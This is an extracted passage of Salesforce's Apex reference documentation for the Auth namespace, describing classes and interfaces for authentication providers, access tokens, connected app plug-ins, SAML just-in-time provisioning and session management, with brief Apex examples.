A list of authentication providers (AuthConfigProviders sObjects, which are children of the AuthProvider sObject).

getAuthProviders()
Returns the list of authentication providers available for a community or custom domain.

Signature
public List<AuthProvider> getAuthProviders()

Return Value
Type: List<AuthProvider>

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Reference

AuthConfiguration Class

A list of authentication providers (AuthProvider sObjects) for the community or custom domain.

getAuthProviderSsoUrl(communityUrl, startUrl, developerName)

Returns the single sign-on URL for a community or a custom domain created using My Domain.

Signature
public static String getAuthProviderSsoUrl(String communityUrl, String startUrl, String
developerName)

Parameters
communityUrl

Type: String
The URL for the community or custom domain. If not null and not specified as an empty string, you get the URL for a community. If
null or specified as an empty string, you get the URL for a custom domain.
startUrl

Type: String
The page that users see after logging in to the community or custom domain.
developerName

Type: String
The unique name of the authentication provider.

Return Value
Type: String
The Single Sign-On Initialization URL for the community or custom domain.

getBackgroundColor()
Returns the color for the background of the login page for a community.

Signature
public String getBackgroundColor()

Return Value
Type: String

getDefaultProfileForRegistration()
Returns the profile ID assigned to new community users.

Signature
public String getDefaultProfileForRegistration()

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Reference

AuthConfiguration Class

Return Value
Type: String
The profile ID.

getFooterText()
Returns the text at the bottom of the login page for a community.

Signature
public String getFooterText()

Return Value
Type: String
The text string displayed at the bottom of the login page, for example Log in with an existing account.

getForgotPasswordUrl()
Returns the URL for the standard or custom Forgot Password page that is specified for a community or portal by the administrator.

Signature
public String getForgotPasswordUrl()

Return Value
Type: String
URL for the standard or custom Forgot Password page.

getLogoUrl()
Returns the location of the icon image at the bottom of the login page for a community.

Signature
public String getLogoUrl()

Return Value
Type: String
The path to the icon image.

getSamlProviders()
Returns the list of SAML-based authentication providers available for a community or custom domain.

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Reference

AuthConfiguration Class

Signature
public List<SamlSsoConfig> getSamlProviders()

Return Value
Type: List<SamlSsoConfig>
A list of SAML-based authentication providers (SamlSsoConfig sObjects).

getSamlSsoUrl(communityUrl, startURL, samlId)

Returns the single sign-on URL for a community or a custom domain created using My Domain.

Signature
public static String getSamlSsoUrl(String communityUrl, String startURL, String samlId)

Parameters
communityUrl

Type: String
The URL for the community or custom domain created using My Domain. If not null and not specified as an empty string, you
get the URL for a community. If null or specified as an empty string, you get the URL for a custom domain.
startUrl

Type: String
The page users see after successfully logging in to the community or custom domain.
samlId

Type: String
The unique identifier of the SamlSsoConfig standard object for the community or custom domain.

Return Value
Type: String
The Single Sign-On Initialization URL for the community or custom domain.

getSelfRegistrationEnabled()
Indicates whether the current community allows new users to create their own account by filling out a registration form.

Signature
public Boolean getSelfRegistrationEnabled()

Return Value
Type: Boolean

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Reference

AuthConfiguration Class

getSelfRegistrationUrl()
Returns the location of the self-registration page for new users to sign up for an account with a community.

Signature
public String getSelfRegistrationUrl()

Return Value
Type: String
The location of the self-registration page.

getStartUrl()
Returns the page of a community or custom domain displayed after a user logs in.

Signature
public String getStartUrl()

Return Value
Type: String
The location of the community or custom domain start page.

getUsernamePasswordEnabled()
Indicates whether the current community is set to display a login form asking for a username and password. You can configure the
community not to request a username and password if it is for unauthenticated users or users logging in with a third-party authentication
provider.

Signature
public Boolean getUsernamePasswordEnabled()

Return Value
Type: Boolean

isCommunityUsingSiteAsContainer()
Returns true if the community uses Site.com pages; otherwise, returns false.

Signature
public Boolean isCommunityUsingSiteAsContainer()

Return Value
Type: Boolean

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Reference

AuthProviderCallbackState Class

AuthProviderCallbackState Class
Provides request HTTP headers, body, and query parameters to the AuthProviderPlugin.handleCallback method for
user authentication. This class allows you to group the information to be passed in rather than passing headers, body, and query
parameters individually.

Namespace
Auth
IN THIS SECTION:
AuthProviderCallbackState Constructors
AuthProviderCallbackState Properties
SEE ALSO:
handleCallback(authProviderConfiguration, callbackState)

AuthProviderCallbackState Constructors
The following are constructors for AuthProviderCallbackState.
IN THIS SECTION:
AuthProviderCallbackState(headers, body, queryParameters)
Creates an instance of the AuthProviderCallbackState class using the specified HTTP headers, body, and query parameters
of the authentication request.

AuthProviderCallbackState(headers, body, queryParameters)

Creates an instance of the AuthProviderCallbackState class using the specified HTTP headers, body, and query parameters
of the authentication request.

Signature
public AuthProviderCallbackState(Map<String,String> headers, String body,
Map<String,String> queryParameters)

Parameters
headers

Type: Map<String,String>
The HTTP headers of the authentication request.
body

Type: String
The HTTP body of the authentication request.

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Reference

AuthProviderCallbackState Class

queryParameters

Type: Map<String,String>
The HTTP query parameters of the authentication request.

AuthProviderCallbackState Properties
The following are properties for AuthProviderCallbackState.
IN THIS SECTION:
body
The HTTP body of the authentication request.
headers
The HTTP headers of the authentication request.
queryParameters
The HTTP query parameters of the authentication request.

body
The HTTP body of the authentication request.

Signature
public String body {get; set;}

Property Value
Type: String

headers
The HTTP headers of the authentication request.

Signature
public Map<String,String> headers {get; set;}

Property Value
Type: Map<String,String>

queryParameters
The HTTP query parameters of the authentication request.

Signature
public Map<String,String> queryParameters {get; set;}

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Reference

AuthProviderPlugin Interface

Property Value
Type: Map<String,String>

AuthProviderPlugin Interface
Use this interface to create a custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce.

Namespace
Auth

Usage
To create a custom authentication provider for single sign-on, create a class that implements Auth.AuthProviderPlugin. This
class allows you to store the custom configuration for your authentication provider and handle authentication protocols when users log
in to Salesforce with their login credentials for an external service provider. In Salesforce, the class that implements this interface appears
in the Provider Type drop-down list in Auth. Providers in Setup. Make sure that the user you specify to run the class has Customize
Application and Manage Auth. Providers permissions.
IN THIS SECTION:
AuthProviderPlugin Methods

AuthProviderPlugin Methods
The following are methods for AuthProviderPlugin.
IN THIS SECTION:
getCustomMetadataType()
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce.
getUserInfo(authProviderConfiguration, response)
Returns information from the custom authentication provider about the current user. This information is used by the registration
handler and in other authentication provider flows.
handleCallback(authProviderConfiguration, callbackState)
Uses the authentication providers supported authentication protocol to return an OAuth access token, OAuth secret or refresh token,
and the state passed in when the request for the current user was initiated.
initiate(authProviderConfiguration, stateToPropagate)
Returns the URL where the user is redirected for authentication.
SEE ALSO:
Salesforce Help: Create a Custom External Authentication Provider

getCustomMetadataType()
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce.

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Reference

AuthProviderPlugin Interface

Signature
public String getCustomMetadataType()

Return Value
Type: String
The custom metadata type API name for the authentication provider.

getUserInfo(authProviderConfiguration, response)
Returns information from the custom authentication provider about the current user. This information is used by the registration handler
and in other authentication provider flows.

Signature
public Auth.UserData getUserInfo(Map<String,String> authProviderConfiguration,
Auth.AuthProviderTokenResponse response)

Parameters
authProviderConfiguration

Type: Map<String,String>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
response

Type: Auth.AuthProviderTokenResponse
The OAuth access token, OAuth secret or refresh token, and state provided by the authentication provider to authenticate the current
user.

Return Value
Type: Auth.UserData
Creates a new instance of the Auth.UserData class.

handleCallback(authProviderConfiguration, callbackState)
Uses the authentication providers supported authentication protocol to return an OAuth access token, OAuth secret or refresh token,
and the state passed in when the request for the current user was initiated.

Signature
public Auth.AuthProviderTokenResponse handleCallback(Map<String,String>
authProviderConfiguration, Auth.AuthProviderCallbackState callbackState)

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Reference

AuthProviderTokenResponse Class

Parameters
authProviderConfiguration

Type: Map<StringString>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
callbackState

Type: Auth.AuthProviderCallbackState
The class that contains the HTTP headers, body, and queryParams of the authentication request.

Return Value
Type: Auth.AuthProviderTokenResponse
Creates an instance of the AuthProviderTokenResponse class.

initiate(authProviderConfiguration, stateToPropagate)
Returns the URL where the user is redirected for authentication.

Signature
public System.PageReference initiate(Map<String,String> authProviderConfiguration,
String stateToPropagate)

Parameters
authProviderConfiguration

Type: String
The state passed in to initiate the authentication request for the user.

Return Value
Type: System.PageReference
The URL of the page where the user is redirected for authentication.

AuthProviderTokenResponse Class
Stores the response from the AuthProviderPlugin.handleCallback method.

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Reference

AuthProviderTokenResponse Class

Namespace
Auth
IN THIS SECTION:
AuthProviderTokenResponse Constructors
AuthProviderTokenResponse Properties

AuthProviderTokenResponse Constructors
The following are constructors for AuthProviderTokenResponse.
IN THIS SECTION:
AuthProviderTokenResponse(provider, oauthToken, oauthSecretOrRefreshToken, state)
Creates an instance of the AuthProviderTokenResponse class using the specified authentication provider, OAuth access
token, OAuth secret or refresh token, and state for a custom authentication provider plug-in.

AuthProviderTokenResponse(provider, oauthToken, oauthSecretOrRefreshToken,

state)
Creates an instance of the AuthProviderTokenResponse class using the specified authentication provider, OAuth access token,
OAuth secret or refresh token, and state for a custom authentication provider plug-in.

Signature
public AuthProviderTokenResponse(String provider, String oauthToken, String
oauthSecretOrRefreshToken, String state)

Parameters
provider

Type: String
The custom authentication provider.
oauthToken

Type: String
The OAuth access token.
oauthSecretOrRefreshToken

Type: String
The OAuth secret or refresh token for the currently logged-in user.
state

Type: String
The state passed in to initiate the authentication request for the user.

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Reference

AuthProviderTokenResponse Class

AuthProviderTokenResponse Properties
The following are properties for AuthProviderTokenResponse.
IN THIS SECTION:
oauthSecretOrRefreshToken
The OAuth secret or refresh token for the currently logged-in user.
oauthToken
The OAuth access token.
provider
The authentication provider.
state
The state passed in to initiate the authentication request for the user.

oauthSecretOrRefreshToken
The OAuth secret or refresh token for the currently logged-in user.

Signature
public String oauthSecretOrRefreshToken {get; set;}

Property Value
Type: String

oauthToken
The OAuth access token.

Signature
public String oauthToken {get; set;}

Property Value
Type: String

provider
The authentication provider.

Signature
public String provider {get; set;}

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Reference

AuthToken Class

Property Value
Type: String

state
The state passed in to initiate the authentication request for the user.

Signature
public String state {get; set;}

Property Value
Type: String

AuthToken Class
Contains methods for providing the access token associated with an authentication provider for an authenticated user, except for the
Janrain provider.

Namespace
Auth

AuthToken Methods
The following are methods for AuthToken. All methods are static.
IN THIS SECTION:
getAccessToken(authProviderId, providerName)
Returns an access token for the current user using the specified 18-character identifier of an AuthProvider definition in your org and
the proper name of the third party, such as Salesforce or Facebook. Note that querying the ProviderType field on the AuthProvider
object sometimes returns a value that differs from the expected provider name value. For example, for Open ID Connect providers,
OpenIdConnect is the ProviderType value for the AuthProvider object, but the expected providerName is Open
ID Connect.
getAccessTokenMap(authProviderId, providerName)
Returns a map from the third-party identifier to the access token for the currently logged-in Salesforce user. The identifier value
depends on the third party. For example, for Salesforce it would be the user ID, while for Facebook it would be the user number.
Note that querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected
provider name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the
AuthProvider object, but the expected providerName is Open ID Connect.
refreshAccessToken(authProviderId, providerName, oldAccessToken)
Returns a map from the third-party identifier containing a refreshed access token for the currently logged-in Salesforce user. Note
that querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected
provider name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the
AuthProvider object, but the expected providerName is Open ID Connect.

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Reference

AuthToken Class

revokeAccess(authProviderId, providerName, userId, remoteIdentifier)

Revokes the access token for a specified social sign-on user from a third-party service such as Facebook. Note that querying the
ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value.
For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but
the expected providerName is Open ID Connect.

getAccessToken(authProviderId, providerName)
Returns an access token for the current user using the specified 18-character identifier of an AuthProvider definition in your org and the
proper name of the third party, such as Salesforce or Facebook. Note that querying the ProviderType field on the AuthProvider
object sometimes returns a value that differs from the expected provider name value. For example, for Open ID Connect providers,
OpenIdConnect is the ProviderType value for the AuthProvider object, but the expected providerName is Open ID
Connect.

Signature
public static String getAccessToken(String authProviderId, String providerName)

Parameters
authProviderId

Type: String
providerName

Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
Facebook
Salesforce
Open ID Connect
Microsoft Access Control Service
LinkedIn
Twitter
Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.

Return Value
Type: String

getAccessTokenMap(authProviderId, providerName)
Returns a map from the third-party identifier to the access token for the currently logged-in Salesforce user. The identifier value depends
on the third party. For example, for Salesforce it would be the user ID, while for Facebook it would be the user number. Note that querying
the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value.
For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but the
expected providerName is Open ID Connect.

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Reference

AuthToken Class

Signature
public static Map<String, String> getAccessTokenMap(String authProviderId, String
providerName)

Parameters
authProviderId

Type: String
providerName

Return Value
Type: Map<String, String>

refreshAccessToken(authProviderId, providerName, oldAccessToken)

Returns a map from the third-party identifier containing a refreshed access token for the currently logged-in Salesforce user. Note that
querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider
name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider
object, but the expected providerName is Open ID Connect.

Signature
public static Map<String, String> refreshAccessToken(String authProviderId, String
providerName, String oldAccessToken)

Parameters
authProviderId

Type: String
providerName

Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
Facebook

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Reference

AuthToken Class

Salesforce
Open ID Connect
Microsoft Access Control Service
LinkedIn
Twitter
Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.
oldAccessToken

Type: String

Return Value
Type: Map<String, String>

Usage
This method works when using Salesforce or an OpenID Connect provider, but not when using Facebook or Janrain. The returned map
contains AccessToken and RefreshError keys. Evaluate the keys in the response to check if the request was successful. For a
successful request, the RefreshError value is null, and AccessToken is a token value. For an unsuccessful request, the
RefreshError value is an error message, and the AccessToken value is null.
When successful, this method updates the token stored in the database, which you can get using
Auth.AuthToken.getAccessToken().
If you are using an OpenID Connect authentication provider, an id_token is not required in the response from the provider. If a
Token Issuer is specified in the Auth. Provider settings and an id_token is provided anyway, Salesforce will verify it.

Example
String accessToken = Auth.AuthToken.getAccessToken('0SOD000000000De', 'Open ID connect');
Map<String, String> responseMap = Auth.AuthToken.refreshAccessToken('0SOD000000000De',
'Open ID connect', accessToken);

A successful request includes the access token in the response.

(RefreshError,null)(AccessToken,00DD00000007BhE!AQkAQFzj...)

revokeAccess(authProviderId, providerName, userId, remoteIdentifier)

Revokes the access token for a specified social sign-on user from a third-party service such as Facebook. Note that querying the
ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value. For
example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but the
expected providerName is Open ID Connect.

Signature
public static Boolean revokeAccess(String authProviderId, String providerName, String
userId, String remoteIdentifier)

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Reference

CommunitiesUtil Class

Parameters
authProviderId

Type: String
The ID of the Auth. Provider in the Salesforce organization.
providerName

Type: String
The 15-character ID for the user whose access is being revoked.
remoteIdentifier

Type: String
The unique ID for the user in the third-party system (this value is in the associated ThirdPartyAccountLink standard object).

Return Value
Type: Boolean
The return value is true if the revokeAccess() operation is successful; otherwise false.

Example
The following example revokes a Facebook user's access token.
Auth.AuthToken.revokeAccess('0SOxx00000#####', 'facebook', '005xx00000#####',
'ThirdPartyIdentifier_exist214176560#####');

CommunitiesUtil Class
Contains methods for getting information about a community user.

Namespace
Auth

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Reference

CommunitiesUtil Class

Example
The following example directs a guest (unauthenticated) user to one page, and authenticated users of the communitys parent organization
to another page.
if (Auth.CommunitiesUtil.isGuestUser())
// Redirect to the login page if user is an unauthenticated user
return new PageReference(LOGIN_URL);
if (Auth.CommunitiesUtil.isInternalUser())
// Redirect to the home page if user is an internal user
return new PageReference(HOME_URL);

CommunitiesUtil Methods
The following are methods for CommunitiesUtil. All methods are static.
IN THIS SECTION:
getLogoutUrl()
Returns the page to display after the current community user logs out.
getUserDisplayName()
Returns the current users community display name.
isGuestUser()
Indicates whether the current user isnt logged in to the community and may need to be redirected to log in, if required.
isInternalUser()
Indicates whether the current user is logged in as a member of the parent Salesforce organization, such as an employee.

getLogoutUrl()
Returns the page to display after the current community user logs out.

Signature
public static String getLogoutUrl()

Return Value
Type: String

getUserDisplayName()
Returns the current users community display name.

Signature
public static String getUserDisplayName()

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Reference

ConnectedAppPlugin Class

Return Value
Type: String

isGuestUser()
Indicates whether the current user isnt logged in to the community and may need to be redirected to log in, if required.

Signature
public static Boolean isGuestUser()

Return Value
Type: Boolean

isInternalUser()
Indicates whether the current user is logged in as a member of the parent Salesforce organization, such as an employee.

Signature
public static Boolean isInternalUser()

Return Value
Type: Boolean

ConnectedAppPlugin Class
Extend the behavior of a connected app. This class gives you more control over the interaction between Salesforce and your connected
app. You can customize how a connected app is invoked depending on the protocol used. You can intercept SAML XML generated by
the Salesforce identity provider and add custom code before passing it to the target service provider.

Namespace
Auth

Usage
The class runs on behalf of the current user of the connected app. This user must have permission to use the connected app for the
plug-in to work.
IN THIS SECTION:
ConnectedAppPlugin Methods

ConnectedAppPlugin Methods
The following are methods for ConnectedAppPlugin.

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Reference

ConnectedAppPlugin Class

IN THIS SECTION:
authorize(userId, connectedAppId, isAdminApproved)
Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isnt necessary.
authorize(userId, connectedAppId, isAdminApproved, context)
Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isnt necessary.
customAttributes(userId, connectedAppId, formulaDefinedAttributes)
Sets new attributes for the specified user. When the connected app gets the users attributes from the UserInfo endpoint or through
a SAML assertion, use this method to update those attribute values.
customAttributes(userId, connectedAppId, formulaDefinedAttributes, context)
Sets new attributes for the specified user. When the connected app gets the users attributes from the UserInfo endpoint or through
a SAML assertion, use this method to update those attribute values.
modifySAMLResponse(authSession, connectedAppId, samlResponse)
Modifies the XML generated by the Salesforce SAML Identity Provider (IDP) before its sent to the service provider.
refresh(userId, connectedAppId)
Salesforce calls this method during a refresh token exchange.
refresh(userId, connectedAppId, context)
Salesforce calls this method during a refresh token exchange.

authorize(userId, connectedAppId, isAdminApproved)

Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isnt necessary.

Signature
public Boolean authorize(Id userId, Id connectedAppId, Boolean isAdminApproved)

Parameters
userId

Type: Id
The 15-character ID of the user to whom you want to give access.
connectedAppId

Type: String
The 15-character ID of the connected app.
isAdminApproved

Type: Boolean
The approval state of the specified user when the connected app requires approval.

Return Value
Type: Boolean
If the connected app requires admin approval, a returned value of true indicates that the current user is approved.

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Reference

ConnectedAppPlugin Class

authorize(userId, connectedAppId, isAdminApproved, context)

Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isnt necessary.

Signature
public Boolean authorize(Id userId, Id connectedAppId, Boolean isAdminApproved,
Auth.InvocationContext context)

Parameters
userId

Type: Id
The 15-character ID of the user to whom you want to give access.
connectedAppId

Type: Id
The 15-character ID of the connected app.
isAdminApproved

Type: Boolean
The approval state of the specified user when the connected app requires approval.
context

Type: InvocationContext
The context in which the connected app is invoked.

Return Value
Type: Boolean
If the connected app requires admin approval, a returned value of true indicates that the user is approved.

customAttributes(userId, connectedAppId, formulaDefinedAttributes)

Sets new attributes for the specified user. When the connected app gets the users attributes from the UserInfo endpoint or through a
SAML assertion, use this method to update those attribute values.

Signature
public Map<String,String> customAttributes(Id userId, Id connectedAppId,
Map<String,String> formulaDefinedAttributes,)

Parameters
userId

Type: Id
The 15-character ID of the user associated with the attributes.
connectedAppId

Type: Id
The 15-character ID of the connected app.

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Reference

ConnectedAppPlugin Class

formulaDefinedAttributes

Type: Map<String,String>
A map of the new set of attributes from the UserInfo endpoint (OAuth) or from a SAML assertion. For more information, see The
UserInfo Endpoint in the online help.

Return Value
Type: Map<String,String>
A map of the updated set of attributes.

customAttributes(userId, connectedAppId, formulaDefinedAttributes, context)

Sets new attributes for the specified user. When the connected app gets the users attributes from the UserInfo endpoint or through a
SAML assertion, use this method to update those attribute values.

Signature
public Map<String,String> customAttributes(Id userId, Id connectedAppId,
Map<String,String> formulaDefinedAttributes, Auth.InvocationContext context)

Parameters
userId

Type: Id
The 15-character ID for the user associated with the attributes.
connectedAppId

Type: Id
The 15-character ID for the connected app.
formulaDefinedAttributes

Type: Map<String,String>
A map of the current set of attributes from the UserInfo endpoint (OAuth) or from a SAML assertion. For more information, see The
UserInfo Endpoint in the online help.
Type: InvocationContext
The context in which the connected app is invoked.

Return Value
Type: Map<String,String>
A map of the updated set of attributes.

modifySAMLResponse(authSession, connectedAppId, samlResponse)

Modifies the XML generated by the Salesforce SAML Identity Provider (IDP) before its sent to the service provider.

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Reference

ConnectedAppPlugin Class

Signature
public dom.XmlNode modifySAMLResponse(Map<String,String> authSession, Id connectedAppId,
dom.XmlNode samlResponse)

Parameters
authSession

Type: Map<String,String>
The attributes for the authorized users session. The map includes the 15-character ID of the authorized user whos accessing the
connected app.
connectedAppId

Type: Id
The 15-character ID of the connected app.
samlResponse

Type: Dom.XmlNode
Contains the SAML XML response generated by the IDP.

Return Value
Type: Dom.XmlNode
Returns an instance of Dom.XmlNode containing the modified SAML XML response.

Usage
Use this method to modify the XML SAML response to perform an action based on the context of the SAML request before its verified,
signed, and sent to the target service provider. This method enables developers to extend the connected app plug-in to meet their
specific needs.
The developer assumes full responsibility for changes made within the connected app plug-in. The plug-in must include validation and
error handling. If the plug-in throws an exception, catch it, log it, and stop the process. Dont send anything to the target service provider.

refresh(userId, connectedAppId)
Salesforce calls this method during a refresh token exchange.

Signature
public void refresh(Id userId, Id connectedAppId)

Parameters
userId

Type: Id
The 15-character ID of the user getting the refresh token.
connectedAppId

Type: Id
The 15-character ID of the connected app.

673

Reference

InvocationContext Enum

Return Value
Type: void

refresh(userId, connectedAppId, context)

Salesforce calls this method during a refresh token exchange.

Signature
public void refresh(Id userId, Id connectedAppId, Auth.InvocationContext context)

Parameters
userId

Type: Id
The 15-character ID of the user getting the refresh token.
connectedAppId

Type: Id
The 15-character ID of the connected app.
context

Type: InvocationContext
The context in which the connected app is invoked.

Return Value
Type: void

InvocationContext Enum
The context in which the connected app is invoked, such as the protocol flow used and the token type issued, if any. Developers can
use the context information to write code that is unique to the type of invocation.

Enum Values
The following are the values of the Auth.InvocationContext enum.
Value

Description

ASSET_TOKEN

Reserved for future use.

OAUTH1

Context used when authentication is through an OAuth 1.0A flow.

OAUTH2_JWT_BEARER_TOKEN

Context used when authentication is through a JSON-based Web Token (JWT)

bearer token flow.

OAUTH2_SAML_ASSERTION

Context used when authentication is through an OAuth 2.0 SAML assertion flow.

OAUTH2_SAML_BEARER_ASSERTION

Context used when authentication is through an OAuth 2.0 SAML bearer assertion
flow.

674

Reference

RegistrationHandler Interface

Value

Description

OAUTH2_USERNAME_PASSWORD

Context used when authentication is through an OAuth 2.0 username-password

flow.

OAUTH2_USER_AGENT_ID_TOKEN

Context used when issuing an ID token through an OAuth 2.0 user-agent flow.

OAUTH2_USER_AGENT_TOKEN

Context used when authentication is through an OAuth 2.0 user agent flow.

OAUTH2_WEB_SERVER

Context used when authentication is through a web server authentication flow.

OPENIDCONNECT

Context used when authentication is through an OpenID Connect authentication

flow.

REFRESH_TOKEN

Context used when renewing tokens issued by a web server or user-agent flow.

SAML_ASSERTION

Context used when authentication is through a SAML assertion flow.

UNKNOWN

Context is unknown.

USERID_ENDPOINT

Context used when issuing an access token through a UserInfo endpoint.

SEE ALSO:
Salesforce Help: Authenticating Apps with OAuth

RegistrationHandler Interface
Salesforce provides the ability to use an authentication provider, such as Facebook or Janrain, for single sign-on into Salesforce.

Namespace
Auth

Usage
To set up single sign-on, you must create a class that implements Auth.RegistrationHandler. Classes implementing the
Auth.RegistrationHandler interface are specified as the Registration Handler in authorization provider definitions,
and enable single sign-on into Salesforce portals and organizations from third-party services such as Facebook. Using information from
the authentication providers, your class must perform the logic of creating and updating user data as appropriate, including any associated
account and contact records.
IN THIS SECTION:
RegistrationHandler Methods
Storing User Information and Getting Access Tokens
Auth.RegistrationHandler Example Implementation
Auth.RegistrationHandler Error Example
This example implements the Auth.RegistrationHandler interface and shows how to use a custom exception to display
an error message on the page to the user. If you dont use a custom exception, the error code and description (if theyre available)
appear in the URL and the error description (if available) appears on the page.

675

Reference

RegistrationHandler Interface

RegistrationHandler Methods
The following are methods for RegistrationHandler.
IN THIS SECTION:
createUser(portalId, userData)
Returns a User object using the specified portal ID and user information from the third party, such as the username and email address.
The User object corresponds to the third partys user information and may be a new user that hasnt been inserted in the database
or may represent an existing user record in the database.
updateUser(userId, portalId, userData)
Updates the specified users information. This method is called if the user has logged in before with the authorization provider and
then logs in again, or if your application is using the Existing User Linking URL. This URL is generated when you define
your authentication provider.

createUser(portalId, userData)
Returns a User object using the specified portal ID and user information from the third party, such as the username and email address.
The User object corresponds to the third partys user information and may be a new user that hasnt been inserted in the database or
may represent an existing user record in the database.

Signature
public User createUser(ID portalId, Auth.UserData userData)

Parameters
portalId

Type: ID
userData

Type: Auth.UserData

Return Value
Type: User

Usage
The portalID value may be null or an empty key if there is no portal configured with this provider.

updateUser(userId, portalId, userData)

Updates the specified users information. This method is called if the user has logged in before with the authorization provider and then
logs in again, or if your application is using the Existing User Linking URL. This URL is generated when you define your
authentication provider.

assertion)
Returns a User object using the specified Federation ID. The User object corresponds to the user information and may be a new user
that hasnt t been inserted in the database or may represent an existing user record in the database.

Signature
public User createUser(Id samlSsoProviderId, Id communityId, Id portalId, String
federationId, Map<String,String> attributes, String assertion)

Parameters
samlSsoProviderId

Type: Id
The ID of the SamlSsoConfig standard object.
communityId

Type: Id
The ID of the community. This parameter can be null if youre not creating a community user.
portalId

Type: Id
The ID of the portal. This parameter can be null if youre not creating a portal user.
federationId

Type: String
The ID Salesforce expects to be used for this user.
attributes

Type: Map<String,String>
All of the attributes in the SAML assertion that were added to the default assertion; for example, custom attributes. Attributes are
case-sensitive.
assertion

Type: String
The default SAML assertion, base-64 encoded.

Return Value
Type: User
A User sObject.

Usage
The communityId and portalId parameter values may be null or an empty key if there is no community or portal configured
with this organization.

681

Reference

SamlJitHandler Interface

updateUser(userId, samlSsoProviderId, communityId, portalId, federationId,

attributes, assertion)
Updates the specified users information. This method is called if the user has logged in before with SAML single sign-on and then logs
in again, or if your application is using the Existing User Linking URL.

Signature
public void updateUser(Id userId, Id samlSsoProviderId, Id communityId, Id portalId,
String federationId, Map<String,String> attributes, String assertion)

Parameters
userId

Type: Id
The ID of the Salesforce user.
samlSsoProviderId

Type: Id
The ID of the SamlSsoConfig object.
communityId

Type: Id
The ID of the community. This can be null if youre not updating a community user.
portalId

Type: Id
The ID of the portal. This can be null if youre not updating a portal user.
federationId

Type: String
The ID Salesforce expects to be used for this user.
attributes

Type: Map<String,String>
All of the attributes in the SAML assertion that were added to the default assertion; for example, custom attributes. Attributes are
case-sensitive.
assertion

Type: String
The default SAML assertion, base-64 encoded.

Return Value
Type: void

682

Reference

SamlJitHandler Interface

SamlJitHandler Example Implementation

This is an example implementation of the Auth.SamlJitHandler interface. This code uses private methods to handle accounts
and contacts (handleContact() and handleAccount()), which arent included in this example.
global class StandardUserHandler implements Auth.SamlJitHandler {
private class JitException extends Exception{}
private void handleUser(boolean create, User u, Map<String, String> attributes,
String federationIdentifier, boolean isStandard) {
if(create && attributes.containsKey('User.Username')) {
u.Username = attributes.get('User.Username');
}
if(create) {
if(attributes.containsKey('User.FederationIdentifier')) {
u.FederationIdentifier = attributes.get('User.FederationIdentifier');
} else {
u.FederationIdentifier = federationIdentifier;
}
}
if(attributes.containsKey('User.ProfileId')) {
String profileId = attributes.get('User.ProfileId');
Profile p = [SELECT Id FROM Profile WHERE Id=:profileId];
u.ProfileId = p.Id;
}
if(attributes.containsKey('User.UserRoleId')) {
String userRole = attributes.get('User.UserRoleId');
UserRole r = [SELECT Id FROM UserRole WHERE Id=:userRole];
u.UserRoleId = r.Id;
}
if(attributes.containsKey('User.Phone')) {
u.Phone = attributes.get('User.Phone');
}
if(attributes.containsKey('User.Email')) {
u.Email = attributes.get('User.Email');
}
//More attributes here - removed for length
//Handle custom fields here
if(!create) {
update(u);
}
}
private void handleJit(boolean create, User u, Id samlSsoProviderId, Id communityId,
Id portalId,
String federationIdentifier, Map<String, String> attributes, String assertion) {
if(communityId != null || portalId != null) {
String account = handleAccount(create, u, attributes);
handleContact(create, account, u, attributes);
handleUser(create, u, attributes, federationIdentifier, false);
} else {
handleUser(create, u, attributes, federationIdentifier, true);
}

683

Reference

SessionManagement Class

}
global User createUser(Id samlSsoProviderId, Id communityId, Id portalId,
String federationIdentifier, Map<String, String> attributes, String assertion) {
User u = new User();
handleJit(true, u, samlSsoProviderId, communityId, portalId,
federationIdentifier, attributes, assertion);
return u;
}
global void updateUser(Id userId, Id samlSsoProviderId, Id communityId, Id portalId,
String federationIdentifier, Map<String, String> attributes, String assertion) {
User u = [SELECT Id FROM User WHERE Id=:userId];
handleJit(false, u, samlSsoProviderId, communityId, portalId,
federationIdentifier, attributes, assertion);
}
}

SessionManagement Class
Contains methods for customizing security levels, two-factor authentication, and trusted IP ranges for a current session.

Namespace
Auth

SessionManagement Methods
The following are methods for SessionManagement. All methods are static. Use these methods to customize your two-factor
authentication implementation and manage the use of time-based one-time password (TOTP) apps like Google Authenticator with a
Salesforce organization. Or, use them to validate a users incoming IP address against trusted IP range settings for an organization or
profile.
IN THIS SECTION:
generateVerificationUrl(policy, description, destinationUrl)
Initiates a user identity verification flow with the verification method that the user registered with, and returns a URL to the identity
verification screen. For example, if you have a custom Visualforce page that displays sensitive account details, you can prompt the
user to verify identity before viewing it.
getCurrentSession()
Returns a map of attributes for the current session.
getRequiredSessionLevelForProfile(profileId)
Indicates the required login security session level for the given profile.
getQrCode()
Returns a map containing a URL to a quick response (QR) code and a time-based one-time password (TOTP) shared secret to configure
two-factor authentication apps or devices.
ignoreForConcurrentSessionLimit(sessions)
This method is reserved for internal Salesforce use.

